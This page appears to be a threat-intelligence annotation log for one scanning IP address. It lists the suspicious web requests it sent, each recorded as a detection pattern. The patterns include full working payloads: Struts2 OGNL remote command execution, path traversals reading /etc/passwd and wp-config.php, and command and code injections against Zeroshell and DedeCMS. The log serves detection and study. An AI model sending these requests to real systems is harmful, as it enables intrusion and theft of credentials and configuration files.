One Ticket Available.

One meeting. One person.
The Next Moon Show Is: Flower Moon

Annotations for 95.179.133.74

Oct. 16, 2023, 8:59 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW)
Pattern: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW
Oct. 16, 2023, 8:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/free_time.cgi)
Pattern: /free_time.cgi
Oct. 16, 2023, 8:56 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/solr/admin/cores?wt=json)
Pattern: /solr/admin/cores?wt=json
Oct. 16, 2023, 8:56 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd)
Pattern: /cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd
Oct. 16, 2023, 8:54 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/secure/ContactAdministrators!default.jspa)
Pattern: /secure/ContactAdministrators!default.jspa
Oct. 16, 2023, 8:53 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/LetsEncrypt/Index?fileName=/etc/passwd)
Pattern: /LetsEncrypt/Index?fileName=/etc/passwd
Oct. 16, 2023, 8:49 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/checkValid)
Pattern: /checkValid
Oct. 16, 2023, 8:48 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/)
Pattern: /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
Oct. 16, 2023, 8:48 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/)
Pattern: /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
Oct. 16, 2023, 8:47 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/Admin)
Pattern: /Admin
Oct. 16, 2023, 8:46 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/api/filemanager?path=%2F..%2f..%2fContent)
Pattern: /api/filemanager?path=%2F..%2f..%2fContent
Oct. 16, 2023, 8:45 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd)
Pattern: /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Oct. 16, 2023, 8:45 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php)
Pattern: /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php
Oct. 16, 2023, 8:43 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData)
Pattern: /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData
Oct. 16, 2023, 8:41 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/device.rsp?opt=user&cmd=list)
Pattern: /device.rsp?opt=user&cmd=list
Oct. 16, 2023, 8:37 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/user/scripts/login_par.js)
Pattern: /user/scripts/login_par.js
Oct. 16, 2023, 8:37 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd)
Pattern: /sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
Oct. 16, 2023, 8:34 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/.../.../.../.../.../.../.../.../.../windows/win.ini)
Pattern: /.../.../.../.../.../.../.../.../.../windows/win.ini
Oct. 16, 2023, 8:33 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php)
Pattern: /wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php
Oct. 16, 2023, 8:32 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/webtools/control/xmlrpc)
Pattern: /webtools/control/xmlrpc
Oct. 16, 2023, 8:10 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/tag_test_action.php?url=a&token&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field})
Pattern: /tag_test_action.php?url=a&token&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}
Oct. 16, 2023, 7:59 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax)
Pattern: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D)
Pattern: /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()})
Pattern: /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()})
Pattern: /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D)
Pattern: /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()})
Pattern: /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()})
Pattern: /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D)
Pattern: /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
Oct. 16, 2023, 7:58 p.m.
Annotator: Never200Annotator
Label: Golden Annotation: Suspicious resource access (/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()})
Pattern: /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}